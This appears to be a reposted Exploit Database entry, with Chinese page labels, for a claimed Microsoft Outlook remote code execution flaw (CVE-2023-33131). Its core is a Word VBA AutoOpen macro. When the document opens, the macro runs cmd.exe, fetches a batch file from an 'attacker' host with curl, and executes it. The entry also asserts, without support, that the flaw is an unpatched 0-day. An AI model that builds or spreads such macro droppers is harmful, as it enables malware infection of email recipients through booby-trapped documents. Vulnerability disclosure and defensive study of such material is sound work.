Microsoft Outlook Microsoft 365 MSO (Version 2306 Build 16.0.16529.20100) 32-bit – Remote Code Execution

• Exploit Database
• 116 阅读

• 作者： nu11secur1ty
  日期： 2023-07-07
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/51574/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37

  ## Title: Microsoft Outlook Microsoft 365 MSO (Version 2306 Build 16.0.16529.20100) 32-bit - Remote Code Execution ## Author: nu11secur1ty ## Date: 07.07.2023 ## Vendor: https://www.microsoft.com/ ## Software: https://outlook.live.com/owa/ ## Reference: https://www.crowdstrike.com/cybersecurity-101/remote-code-execution-rce/ ## CVE-2023-33131     ## Description: In this vulnerability, the Microsoft Outlook app allows an attacker to send an infected Word file with malicious content to everyone who using the Outlook app, no matter web or local. Microsoft still doesn&apos;t have a patch against this 0-day vulnerability today.   ## Staus: HIGH Vulnerability   [+]Exploit:   - The malicious Word file: </code><code>js Sub AutoOpen() Call Shell("cmd.exe /S /c" & "curl -s https://attacker/namaikativputkata/sichko/nikoganqqsaopraite.bat > nikoganqqsaopraite.bat && .\nikoganqqsaopraite.bat", vbNormalFocus) End Sub   </code><code> ## Reproduce: [href](https://github.com/nu11secur1ty/Windows11Exploits/tree/main/2023/CVE-2023-33131)   ## Proof and Exploit [href](https://www.nu11secur1ty.com/2023/07/cve-2023-33131-microsoft-outlook.html)   ## Time spend: 00:30:00